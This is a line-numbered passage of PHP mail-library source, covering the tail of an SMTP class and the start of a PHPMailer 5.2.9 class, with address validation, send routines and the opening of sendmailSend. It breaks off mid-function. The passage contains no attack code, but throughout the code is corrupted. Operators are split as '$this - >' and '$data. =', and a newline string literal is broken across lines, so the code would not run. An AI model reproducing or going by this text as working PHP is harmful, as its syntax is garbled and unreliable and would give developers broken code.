  1496.                     return '';
  1497.  
  1498.                 }
  1499.  
  1500.                 $data = '';
  1501.  
  1502.                 $endtime = 0;
  1503.  
  1504.                 stream_set_timeout($this - > smtp_conn, $this - > Timeout);
  1505.  
  1506.                 if($this - > Timelimit > 0)
  1507.  
  1508.                 {
  1509.  
  1510.                     $endtime = time() + $this - > Timelimit;
  1511.  
  1512.                 }
  1513.  
  1514.                 while(is_resource($this - > smtp_conn) && !feof($this - > smtp_conn))
  1515.  
  1516.                 {
  1517.  
  1518.                     $str = @fgets($this - > smtp_conn, 515);
  1519.  
  1520.                     $this - > edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  1521.  
  1522.                     $this - > edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  1523.  
  1524.                     $data. = $str;
  1525.  
  1526.                     $this - > edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  1527.  
  1528.                     if((isset($str[3]) and $str[3] == ' '))
  1529.  
  1530.                     {
  1531.  
  1532.                         break;
  1533.  
  1534.                     }
  1535.  
  1536.                     $info = stream_get_meta_data($this - > smtp_conn);
  1537.  
  1538.                     if($info['timed_out'])
  1539.  
  1540.                     {
  1541.  
  1542.                         $this - > edebug(
  1543.  
  1544.                             'SMTP -> get_lines(): timed-out ('.$this - > Timeout.
  1545.  
  1546.                             ' sec)',
  1547.  
  1548.                             self::DEBUG_LOWLEVEL
  1549.  
  1550.                         );
  1551.  
  1552.                         break;
  1553.  
  1554.                     }
  1555.  
  1556.                     if($endtime and time() > $endtime)
  1557.  
  1558.                     {
  1559.  
  1560.                         $this - > edebug(
  1561.  
  1562.                             'SMTP -> get_lines(): timelimit reached ('.$this - > Timelimit.
  1563.  
  1564.                             ' sec)',
  1565.  
  1566.                             self::DEBUG_LOWLEVEL
  1567.  
  1568.                         );
  1569.  
  1570.                         break;
  1571.  
  1572.                     }
  1573.  
  1574.                 }
  1575.  
  1576.                 return $data;
  1577.  
  1578.             }
  1579.  
  1580.             public
  1581.  
  1582.  
  1583.  
  1584.             function setVerp($enabled = false)
  1585.  
  1586.             {
  1587.  
  1588.                 $this - > do_verp = $enabled;
  1589.  
  1590.             }
  1591.  
  1592.             public
  1593.  
  1594.  
  1595.  
  1596.             function getVerp()
  1597.  
  1598.             {
  1599.  
  1600.                 return $this - > do_verp;
  1601.  
  1602.             }
  1603.  
  1604.             protected
  1605.  
  1606.  
  1607.  
  1608.             function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  1609.  
  1610.             {
  1611.  
  1612.                 $this - > error = array(
  1613.  
  1614.                     'error' => $message,
  1615.  
  1616.                     'detail' => $detail,
  1617.  
  1618.                     'smtp_code' => $smtp_code,
  1619.  
  1620.                     'smtp_code_ex' => $smtp_code_ex
  1621.  
  1622.                 );
  1623.  
  1624.             }
  1625.  
  1626.             public
  1627.  
  1628.  
  1629.  
  1630.             function setDebugOutput($method = 'echo')
  1631.  
  1632.             {
  1633.  
  1634.                 $this - > Debugoutput = $method;
  1635.  
  1636.             }
  1637.  
  1638.             public
  1639.  
  1640.  
  1641.  
  1642.             function getDebugOutput()
  1643.  
  1644.             {
  1645.  
  1646.                 return $this - > Debugoutput;
  1647.  
  1648.             }
  1649.  
  1650.             public
  1651.  
  1652.  
  1653.  
  1654.             function setDebugLevel($level = 0)
  1655.  
  1656.             {
  1657.  
  1658.                 $this - > do_debug = $level;
  1659.  
  1660.             }
  1661.  
  1662.             public
  1663.  
  1664.  
  1665.  
  1666.             function getDebugLevel()
  1667.  
  1668.             {
  1669.  
  1670.                 return $this - > do_debug;
  1671.  
  1672.             }
  1673.  
  1674.             public
  1675.  
  1676.  
  1677.  
  1678.             function setTimeout($timeout = 0)
  1679.  
  1680.             {
  1681.  
  1682.                 $this - > Timeout = $timeout;
  1683.  
  1684.             }
  1685.  
  1686.             public
  1687.  
  1688.  
  1689.  
  1690.             function getTimeout()
  1691.  
  1692.             {
  1693.  
  1694.                 return $this - > Timeout;
  1695.  
  1696.             }
  1697.  
  1698.         }
  1699.  
  1700.         class PHPMailer
  1701.  
  1702.         {
  1703.  
  1704.             public $Version = '5.2.9';
  1705.  
  1706.             public $Priority = 3;
  1707.  
  1708.             public $CharSet = 'iso-8859-1';
  1709.  
  1710.             public $ContentType = 'text/plain';
  1711.  
  1712.             public $Encoding = '8bit';
  1713.  
  1714.             public $ErrorInfo = '';
  1715.  
  1716.             public $From = 'root@localhost';
  1717.  
  1718.             public $FromName = 'Root User';
  1719.  
  1720.             public $Sender = '';
  1721.  
  1722.             public $ReturnPath = '';
  1723.  
  1724.             public $Subject = '';
  1725.  
  1726.             public $Body = '';
  1727.  
  1728.             public $AltBody = '';
  1729.  
  1730.             public $Ical = '';
  1731.  
  1732.             protected $MIMEBody = '';
  1733.  
  1734.             protected $MIMEHeader = '';
  1735.  
  1736.             protected $mailHeader = '';
  1737.  
  1738.             public $WordWrap = 0;
  1739.  
  1740.             public $Mailer = 'mail';
  1741.  
  1742.             public $Sendmail = '/usr/sbin/sendmail';
  1743.  
  1744.             public $UseSendmailOptions = true;
  1745.  
  1746.             public $PluginDir = '';
  1747.  
  1748.             public $ConfirmReadingTo = '';
  1749.  
  1750.             public $Hostname = '';
  1751.  
  1752.             public $MessageID = '';
  1753.  
  1754.             public $MessageDate = '';
  1755.  
  1756.             public $Host = 'localhost';
  1757.  
  1758.             public $Port = 25;
  1759.  
  1760.             public $Helo = '';
  1761.  
  1762.             public $SMTPSecure = '';
  1763.  
  1764.             public $SMTPAuth = false;
  1765.  
  1766.             public $Username = '';
  1767.  
  1768.             public $Password = '';
  1769.  
  1770.             public $AuthType = '';
  1771.  
  1772.             public $Realm = '';
  1773.  
  1774.             public $Workstation = '';
  1775.  
  1776.             public $Timeout = 300;
  1777.  
  1778.             public $SMTPDebug = 0;
  1779.  
  1780.             public $Debugoutput = 'echo';
  1781.  
  1782.             public $SMTPKeepAlive = false;
  1783.  
  1784.             public $SingleTo = false;
  1785.  
  1786.             public $SingleToArray = array();
  1787.  
  1788.             public $do_verp = false;
  1789.  
  1790.             public $AllowEmpty = false;
  1791.  
  1792.             public $LE = "\n";
  1793.  
  1794.             public $DKIM_selector = '';
  1795.  
  1796.             public $DKIM_identity = '';
  1797.  
  1798.             public $DKIM_passphrase = '';
  1799.  
  1800.             public $DKIM_domain = '';
  1801.  
  1802.             public $DKIM_private = '';
  1803.  
  1804.             public $action_function = '';
  1805.  
  1806.             public $XMailer = '';
  1807.  
  1808.             protected $smtp = null;
  1809.  
  1810.             protected $to = array();
  1811.  
  1812.             protected $cc = array();
  1813.  
  1814.             protected $bcc = array();
  1815.  
  1816.             protected $ReplyTo = array();
  1817.  
  1818.             protected $all_recipients = array();
  1819.  
  1820.             protected $attachment = array();
  1821.  
  1822.             protected $CustomHeader = array();
  1823.  
  1824.             protected $lastMessageID = '';
  1825.  
  1826.             protected $message_type = '';
  1827.  
  1828.             protected $boundary = array();
  1829.  
  1830.             protected $language = array();
  1831.  
  1832.             protected $error_count = 0;
  1833.  
  1834.             protected $sign_cert_file = '';
  1835.  
  1836.             protected $sign_key_file = '';
  1837.  
  1838.             protected $sign_key_pass = '';
  1839.  
  1840.             protected $exceptions = false;
  1841.  
  1842.             const STOP_MESSAGE = 0;
  1843.  
  1844.             const STOP_CONTINUE = 1;
  1845.  
  1846.             const STOP_CRITICAL = 2;
  1847.  
  1848.             const CRLF = "\r\n";
  1849.  
  1850.             public
  1851.  
  1852.  
  1853.  
  1854.             function __construct($exceptions = false)
  1855.  
  1856.             {
  1857.  
  1858.                 $this - > exceptions = (boolean) $exceptions;
  1859.  
  1860.             }
  1861.  
  1862.             public
  1863.  
  1864.  
  1865.  
  1866.             function __destruct()
  1867.  
  1868.             {}
  1869.  
  1870.             private
  1871.  
  1872.  
  1873.  
  1874.             function mailPassthru($to, $subject, $body, $header, $params)
  1875.  
  1876.             {
  1877.  
  1878.                 //Check overloading of mail function to avoid double-encoding
  1879.  
  1880.                 if(ini_get('mbstring.func_overload') & 1)
  1881.  
  1882.                 {
  1883.  
  1884.                     $subject = $this - > secureHeader($subject);
  1885.  
  1886.                 }
  1887.  
  1888.                 else
  1889.  
  1890.                 {
  1891.  
  1892.                     $subject = $this - > encodeHeader($this - > secureHeader($subject));
  1893.  
  1894.                 }
  1895.  
  1896.                 if(ini_get('safe_mode') || !($this - > UseSendmailOptions))
  1897.  
  1898.                 {
  1899.  
  1900.                     $result = @mail($to, $subject, $body, $header);
  1901.  
  1902.                 }
  1903.  
  1904.                 else
  1905.  
  1906.                 {
  1907.  
  1908.                     $result = @mail($to, $subject, $body, $header, $params);
  1909.  
  1910.                 }
  1911.  
  1912.                 return $result;
  1913.  
  1914.             }
  1915.  
  1916.             protected
  1917.  
  1918.  
  1919.  
  1920.             function edebug($str)
  1921.  
  1922.             {
  1923.  
  1924.                 if($this - > SMTPDebug <= 0)
  1925.  
  1926.                 {
  1927.  
  1928.                     return;
  1929.  
  1930.                 }
  1931.  
  1932.                 //Avoid clash with built-in function names
  1933.  
  1934.                 if(!in_array($this - > Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this - > Debugoutput))
  1935.  
  1936.                 {
  1937.  
  1938.                     call_user_func($this - > Debugoutput, $str, $this - > SMTPDebug);
  1939.  
  1940.                     return;
  1941.  
  1942.                 }
  1943.  
  1944.                 switch($this - > Debugoutput)
  1945.  
  1946.                 {
  1947.  
  1948.                     case 'error_log':
  1949.  
  1950.                         //Don't output, just log
  1951.  
  1952.                         error_log($str);
  1953.  
  1954.                         break;
  1955.  
  1956.                     case 'html':
  1957.  
  1958.                         //Cleans up output a bit for a better looking, HTML-safe output
  1959.  
  1960.                         echo htmlentities(
  1961.  
  1962.                                 preg_replace('/[\r\n]+/', '', $str),
  1963.  
  1964.                                 ENT_QUOTES,
  1965.  
  1966.                                 'UTF-8'
  1967.  
  1968.                             )
  1969.  
  1970.                             .
  1971.  
  1972.                         "\
  1973.                         n ";
  1974.  
  1975.                         break;
  1976.  
  1977.                     case 'echo':
  1978.  
  1979.                     default:
  1980.  
  1981.                         //Normalize line breaks
  1982.  
  1983.                         $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  1984.  
  1985.                         echo gmdate('Y-m-d H:i:s').
  1986.  
  1987.                         "\t".str_replace(
  1988.  
  1989.                             "\n",
  1990.  
  1991.                             "\n \t ",
  1992.  
  1993.                             trim($str)
  1994.  
  1995.                         ).
  1996.  
  1997.                         "\n";
  1998.  
  1999.                 }
  2000.  
  2001.             }
  2002.  
  2003.             public
  2004.  
  2005.  
  2006.  
  2007.             function isHTML($isHtml = true)
  2008.  
  2009.             {
  2010.  
  2011.                 if($isHtml)
  2012.  
  2013.                 {
  2014.  
  2015.                     $this - > ContentType = 'text/html';
  2016.  
  2017.                 }
  2018.  
  2019.                 else
  2020.  
  2021.                 {
  2022.  
  2023.                     $this - > ContentType = 'text/plain';
  2024.  
  2025.                 }
  2026.  
  2027.             }
  2028.  
  2029.             public
  2030.  
  2031.  
  2032.  
  2033.             function isSMTP()
  2034.  
  2035.             {
  2036.  
  2037.                 $this - > Mailer = 'smtp';
  2038.  
  2039.             }
  2040.  
  2041.             public
  2042.  
  2043.  
  2044.  
  2045.             function isMail()
  2046.  
  2047.             {
  2048.  
  2049.                 $this - > Mailer = 'mail';
  2050.  
  2051.             }
  2052.  
  2053.             public
  2054.  
  2055.  
  2056.  
  2057.             function isSendmail()
  2058.  
  2059.             {
  2060.  
  2061.                 $ini_sendmail_path = ini_get('sendmail_path');
  2062.  
  2063.                 if(!stristr($ini_sendmail_path, 'sendmail'))
  2064.  
  2065.                 {
  2066.  
  2067.                     $this - > Sendmail = '/usr/sbin/sendmail';
  2068.  
  2069.                 }
  2070.  
  2071.                 else
  2072.  
  2073.                 {
  2074.  
  2075.                     $this - > Sendmail = $ini_sendmail_path;
  2076.  
  2077.                 }
  2078.  
  2079.                 $this - > Mailer = 'sendmail';
  2080.  
  2081.             }
  2082.  
  2083.             public
  2084.  
  2085.  
  2086.  
  2087.             function isQmail()
  2088.  
  2089.             {
  2090.  
  2091.                 $ini_sendmail_path = ini_get('sendmail_path');
  2092.  
  2093.                 if(!stristr($ini_sendmail_path, 'qmail'))
  2094.  
  2095.                 {
  2096.  
  2097.                     $this - > Sendmail = '/var/qmail/bin/qmail-inject';
  2098.  
  2099.                 }
  2100.  
  2101.                 else
  2102.  
  2103.                 {
  2104.  
  2105.                     $this - > Sendmail = $ini_sendmail_path;
  2106.  
  2107.                 }
  2108.  
  2109.                 $this - > Mailer = 'qmail';
  2110.  
  2111.             }
  2112.  
  2113.             public
  2114.  
  2115.  
  2116.  
  2117.             function addAddress($address, $name = '')
  2118.  
  2119.             {
  2120.  
  2121.                 return $this - > addAnAddress('to', $address, $name);
  2122.  
  2123.             }
  2124.  
  2125.             public
  2126.  
  2127.  
  2128.  
  2129.             function addCC($address, $name = '')
  2130.  
  2131.             {
  2132.  
  2133.                 return $this - > addAnAddress('cc', $address, $name);
  2134.  
  2135.             }
  2136.  
  2137.             public
  2138.  
  2139.  
  2140.  
  2141.             function addBCC($address, $name = '')
  2142.  
  2143.             {
  2144.  
  2145.                 return $this - > addAnAddress('bcc', $address, $name);
  2146.  
  2147.             }
  2148.  
  2149.             public
  2150.  
  2151.  
  2152.  
  2153.             function addReplyTo($address, $name = '')
  2154.  
  2155.             {
  2156.  
  2157.                 return $this - > addAnAddress('Reply-To', $address, $name);
  2158.  
  2159.             }
  2160.  
  2161.             protected
  2162.  
  2163.  
  2164.  
  2165.             function addAnAddress($kind, $address, $name = '')
  2166.  
  2167.             {
  2168.  
  2169.                 if(!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind))
  2170.  
  2171.                 {
  2172.  
  2173.                     $this - > setError($this - > lang('Invalid recipient array').
  2174.  
  2175.                         ': '.$kind);
  2176.  
  2177.                     $this - > edebug($this - > lang('Invalid recipient array').
  2178.  
  2179.                         ': '.$kind);
  2180.  
  2181.                     if($this - > exceptions)
  2182.  
  2183.                     {
  2184.  
  2185.                         throw new phpmailerException('Invalid recipient array: '.$kind);
  2186.  
  2187.                     }
  2188.  
  2189.                     return false;
  2190.  
  2191.                 }
  2192.  
  2193.                 $address = trim($address);
  2194.  
  2195.                 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  2196.  
  2197.                 if(!$this - > validateAddress($address))
  2198.  
  2199.                 {
  2200.  
  2201.                     $this - > setError($this - > lang('invalid_address').
  2202.  
  2203.                         ': '.$address);
  2204.  
  2205.                     $this - > edebug($this - > lang('invalid_address').
  2206.  
  2207.                         ': '.$address);
  2208.  
  2209.                     if($this - > exceptions)
  2210.  
  2211.                     {
  2212.  
  2213.                         throw new phpmailerException($this - > lang('invalid_address').
  2214.  
  2215.                             ': '.$address);
  2216.  
  2217.                     }
  2218.  
  2219.                     return false;
  2220.  
  2221.                 }
  2222.  
  2223.                 if($kind != 'Reply-To')
  2224.  
  2225.                 {
  2226.  
  2227.                     if(!isset($this - > all_recipients[strtolower($address)]))
  2228.  
  2229.                     {
  2230.  
  2231.                         array_push($this - > $kind, array($address, $name));
  2232.  
  2233.                         $this - > all_recipients[strtolower($address)] = true;
  2234.  
  2235.                         return true;
  2236.  
  2237.                     }
  2238.  
  2239.                 }
  2240.  
  2241.                 else
  2242.  
  2243.                 {
  2244.  
  2245.                     if(!array_key_exists(strtolower($address), $this - > ReplyTo))
  2246.  
  2247.                     {
  2248.  
  2249.                         $this - > ReplyTo[strtolower($address)] = array($address, $name);
  2250.  
  2251.                         return true;
  2252.  
  2253.                     }
  2254.  
  2255.                 }
  2256.  
  2257.                 return false;
  2258.  
  2259.             }
  2260.  
  2261.             public
  2262.  
  2263.  
  2264.  
  2265.             function setFrom($address, $name = '', $auto = true)
  2266.  
  2267.             {
  2268.  
  2269.                 $address = trim($address);
  2270.  
  2271.                 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  2272.  
  2273.                 if(!$this - > validateAddress($address))
  2274.  
  2275.                 {
  2276.  
  2277.                     $this - > setError($this - > lang('invalid_address').
  2278.  
  2279.                         ': '.$address);
  2280.  
  2281.                     $this - > edebug($this - > lang('invalid_address').
  2282.  
  2283.                         ': '.$address);
  2284.  
  2285.                     if($this - > exceptions)
  2286.  
  2287.                     {
  2288.  
  2289.                         throw new phpmailerException($this - > lang('invalid_address').
  2290.  
  2291.                             ': '.$address);
  2292.  
  2293.                     }
  2294.  
  2295.                     return false;
  2296.  
  2297.                 }
  2298.  
  2299.                 $this - > From = $address;
  2300.  
  2301.                 $this - > FromName = $name;
  2302.  
  2303.                 if($auto)
  2304.  
  2305.                 {
  2306.  
  2307.                     if(empty($this - > Sender))
  2308.  
  2309.                     {
  2310.  
  2311.                         $this - > Sender = $address;
  2312.  
  2313.                     }
  2314.  
  2315.                 }
  2316.  
  2317.                 return true;
  2318.  
  2319.             }
  2320.  
  2321.             public
  2322.  
  2323.  
  2324.  
  2325.             function getLastMessageID()
  2326.  
  2327.             {
  2328.  
  2329.                 return $this - > lastMessageID;
  2330.  
  2331.             }
  2332.  
  2333.             public static
  2334.  
  2335.  
  2336.  
  2337.             function validateAddress($address, $patternselect = 'auto')
  2338.  
  2339.             {
  2340.  
  2341.                 if(!$patternselect or $patternselect == 'auto')
  2342.  
  2343.                 {
  2344.  
  2345.                     //Check this constant first so it works when extension_loaded() is disabled by safe mode
  2346.  
  2347.                     //Constant was added in PHP 5.2.4
  2348.  
  2349.                     if(defined('PCRE_VERSION'))
  2350.  
  2351.                     {
  2352.  
  2353.                         //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  2354.  
  2355.                         if(version_compare(PCRE_VERSION, '8.0.3') >= 0)
  2356.  
  2357.                         {
  2358.  
  2359.                             $patternselect = 'pcre8';
  2360.  
  2361.                         }
  2362.  
  2363.                         else
  2364.  
  2365.                         {
  2366.  
  2367.                             $patternselect = 'pcre';
  2368.  
  2369.                         }
  2370.  
  2371.                     }
  2372.  
  2373.                     elseif(function_exists('extension_loaded') and extension_loaded('pcre'))
  2374.  
  2375.                     {
  2376.  
  2377.                         //Fall back to older PCRE
  2378.  
  2379.                         $patternselect = 'pcre';
  2380.  
  2381.                     }
  2382.  
  2383.                     else
  2384.  
  2385.                     {
  2386.  
  2387.                         //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  2388.  
  2389.                         if(version_compare(PHP_VERSION, '5.2.0') >= 0)
  2390.  
  2391.                         {
  2392.  
  2393.                             $patternselect = 'php';
  2394.  
  2395.                         }
  2396.  
  2397.                         else
  2398.  
  2399.                         {
  2400.  
  2401.                             $patternselect = 'noregex';
  2402.  
  2403.                         }
  2404.  
  2405.                     }
  2406.  
  2407.                 }
  2408.  
  2409.                 switch($patternselect)
  2410.  
  2411.                 {
  2412.  
  2413.                     case 'pcre8':
  2414.  
  2415.                         return(boolean) preg_match(
  2416.  
  2417.                             '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)'.
  2418.  
  2419.                             '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)'.
  2420.  
  2421.                             '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)'.
  2422.  
  2423.                             '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*'.
  2424.  
  2425.                             '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)'.
  2426.  
  2427.                             '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}'.
  2428.  
  2429.                             '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:'.
  2430.  
  2431.                             '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}'.
  2432.  
  2433.                             '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  2434.  
  2435.                             $address
  2436.  
  2437.                         );
  2438.  
  2439.                     case 'pcre':
  2440.  
  2441.                         //An older regex that doesn't need a recent PCRE
  2442.  
  2443.                         return(boolean) preg_match(
  2444.  
  2445.                             '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>'.
  2446.  
  2447.                             '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")'.
  2448.  
  2449.                             '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*'.
  2450.  
  2451.                             '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})'.
  2452.  
  2453.                             '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:'.
  2454.  
  2455.                             '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?'.
  2456.  
  2457.                             '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:'.
  2458.  
  2459.                             '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?'.
  2460.  
  2461.                             '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}'.
  2462.  
  2463.                             '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  2464.  
  2465.                             $address
  2466.  
  2467.                         );
  2468.  
  2469.                     case 'html5':
  2470.  
  2471.                         return(boolean) preg_match(
  2472.  
  2473.                             '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}'.
  2474.  
  2475.                             '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  2476.  
  2477.                             $address
  2478.  
  2479.                         );
  2480.  
  2481.                     case 'noregex':
  2482.  
  2483.                         return(strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  2484.  
  2485.                     case 'php':
  2486.  
  2487.                     default:
  2488.  
  2489.                         return(boolean) filter_var($address, FILTER_VALIDATE_EMAIL);
  2490.  
  2491.                 }
  2492.  
  2493.             }
  2494.  
  2495.             public
  2496.  
  2497.  
  2498.  
  2499.             function send()
  2500.  
  2501.             {
  2502.  
  2503.                 try
  2504.  
  2505.                 {
  2506.  
  2507.                     if(!$this - > preSend())
  2508.  
  2509.                     {
  2510.  
  2511.                         return false;
  2512.  
  2513.                     }
  2514.  
  2515.                     return $this - > postSend();
  2516.  
  2517.                 }
  2518.  
  2519.                 catch(phpmailerException $exc)
  2520.  
  2521.                 {
  2522.  
  2523.                     $this - > mailHeader = '';
  2524.  
  2525.                     $this - > setError($exc - > getMessage());
  2526.  
  2527.                     if($this - > exceptions)
  2528.  
  2529.                     {
  2530.  
  2531.                         throw $exc;
  2532.  
  2533.                     }
  2534.  
  2535.                     return false;
  2536.  
  2537.                 }
  2538.  
  2539.             }
  2540.  
  2541.             public
  2542.  
  2543.  
  2544.  
  2545.             function preSend()
  2546.  
  2547.             {
  2548.  
  2549.                 try
  2550.  
  2551.                 {
  2552.  
  2553.                     $this - > mailHeader = '';
  2554.  
  2555.                     if((count($this - > to) + count($this - > cc) + count($this - > bcc)) < 1)
  2556.  
  2557.                     {
  2558.  
  2559.                         throw new phpmailerException($this - > lang('provide_address'), self::STOP_CRITICAL);
  2560.  
  2561.                     }
  2562.  
  2563.                     // Set whether the message is multipart/alternative
  2564.  
  2565.                     if(!empty($this - > AltBody))
  2566.  
  2567.                     {
  2568.  
  2569.                         $this - > ContentType = 'multipart/alternative';
  2570.  
  2571.                     }
  2572.  
  2573.                     $this - > error_count = 0; // reset errors
  2574.  
  2575.                     $this - > setMessageType();
  2576.  
  2577.                     // Refuse to send an empty message unless we are specifically allowing it
  2578.  
  2579.                     if(!$this - > AllowEmpty and empty($this - > Body))
  2580.  
  2581.                     {
  2582.  
  2583.                         throw new phpmailerException($this - > lang('empty_message'), self::STOP_CRITICAL);
  2584.  
  2585.                     }
  2586.  
  2587.                     $this - > MIMEHeader = $this - > createHeader();
  2588.  
  2589.                     $this - > MIMEBody = $this - > createBody();
  2590.  
  2591.                     if($this - > Mailer == 'mail')
  2592.  
  2593.                     {
  2594.  
  2595.                         if(count($this - > to) > 0)
  2596.  
  2597.                         {
  2598.  
  2599.                             $this - > mailHeader. = $this - > addrAppend('To', $this - > to);
  2600.  
  2601.                         }
  2602.  
  2603.                         else
  2604.  
  2605.                         {
  2606.  
  2607.                             $this - > mailHeader. = $this - > headerLine('To', 'undisclosed-recipients:;');
  2608.  
  2609.                         }
  2610.  
  2611.                         $this - > mailHeader. = $this - > headerLine(
  2612.  
  2613.                             'Subject',
  2614.  
  2615.                             $this - > encodeHeader($this - > secureHeader(trim($this - > Subject)))
  2616.  
  2617.                         );
  2618.  
  2619.                     }
  2620.  
  2621.                     // Sign with DKIM if enabled
  2622.  
  2623.                     if(!empty($this - > DKIM_domain) && !empty($this - > DKIM_private) && !empty($this - > DKIM_selector) && file_exists($this - > DKIM_private))
  2624.  
  2625.                     {
  2626.  
  2627.                         $header_dkim = $this - > DKIM_Add(
  2628.  
  2629.                             $this - > MIMEHeader.$this - > mailHeader,
  2630.  
  2631.                             $this - > encodeHeader($this - > secureHeader($this - > Subject)),
  2632.  
  2633.                             $this - > MIMEBody
  2634.  
  2635.                         );
  2636.  
  2637.                         $this - > MIMEHeader = rtrim($this - > MIMEHeader, "\r\n ").self::CRLF.
  2638.  
  2639.                         str_replace("\r\n", "\n", $header_dkim).self::CRLF;
  2640.  
  2641.                     }
  2642.  
  2643.                     return true;
  2644.  
  2645.                 }
  2646.  
  2647.                 catch(phpmailerException $exc)
  2648.  
  2649.                 {
  2650.  
  2651.                     $this - > setError($exc - > getMessage());
  2652.  
  2653.                     if($this - > exceptions)
  2654.  
  2655.                     {
  2656.  
  2657.                         throw $exc;
  2658.  
  2659.                     }
  2660.  
  2661.                     return false;
  2662.  
  2663.                 }
  2664.  
  2665.             }
  2666.  
  2667.             public
  2668.  
  2669.  
  2670.  
  2671.             function postSend()
  2672.  
  2673.             {
  2674.  
  2675.                 try
  2676.  
  2677.                 {
  2678.  
  2679.                     // Choose the mailer and send through it
  2680.  
  2681.                     switch($this - > Mailer)
  2682.  
  2683.                     {
  2684.  
  2685.                         case 'sendmail':
  2686.  
  2687.                         case 'qmail':
  2688.  
  2689.                             return $this - > sendmailSend($this - > MIMEHeader, $this - > MIMEBody);
  2690.  
  2691.                         case 'mail':
  2692.  
  2693.                             return $this - > mailSend($this - > MIMEHeader, $this - > MIMEBody);
  2694.  
  2695.                         case 'smtp':
  2696.  
  2697.                             return $this - > SmtpSend($this - > MIMEHeader, $this - > MIMEBody);
  2698.  
  2699.                         default:
  2700.  
  2701.                             $sendMethod = $this - > Mailer.
  2702.  
  2703.                             'Send';
  2704.  
  2705.                             if(method_exists($this, $sendMethod))
  2706.  
  2707.                             {
  2708.  
  2709.                                 return $this - > $sendMethod($this - > MIMEHeader, $this - > MIMEBody);
  2710.  
  2711.                             }
  2712.  
  2713.                             return $this - > mailSend($this - > MIMEHeader, $this - > MIMEBody);
  2714.  
  2715.                     }
  2716.  
  2717.                 }
  2718.  
  2719.                 catch(phpmailerException $exc)
  2720.  
  2721.                 {
  2722.  
  2723.                     $this - > setError($exc - > getMessage());
  2724.  
  2725.                     $this - > edebug($exc - > getMessage());
  2726.  
  2727.                     if($this - > exceptions)
  2728.  
  2729.                     {
  2730.  
  2731.                         throw $exc;
  2732.  
  2733.                     }
  2734.  
  2735.                 }
  2736.  
  2737.                 return false;
  2738.  
  2739.             }
  2740.  
  2741.             protected
  2742.  
  2743.  
  2744.  
  2745.             function sendmailSend($header, $body)
  2746.  
  2747.             {
  2748.  
  2749.                 if($this - > Sender != '')
  2750.  
  2751.                 {
  2752.  
  2753.                     if($this - > Mailer == 'qmail')
  2754.  
  2755.                     {
  2756.  
  2757.                         $sendmail = sprintf('%s -f%s', escapeshellcmd($this - > Sendmail), escapeshellarg($this - > Sender));
  2758.  
  2759.                     }
  2760.  
  2761.                     else
  2762.  
  2763.                     {
  2764.  
  2765.                         $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this - > Sendmail), escapeshellarg($this - > Sender));
  2766.  
  2767.                     }
  2768.  
  2769.                 }
  2770.  
  2771.                 else
  2772.  
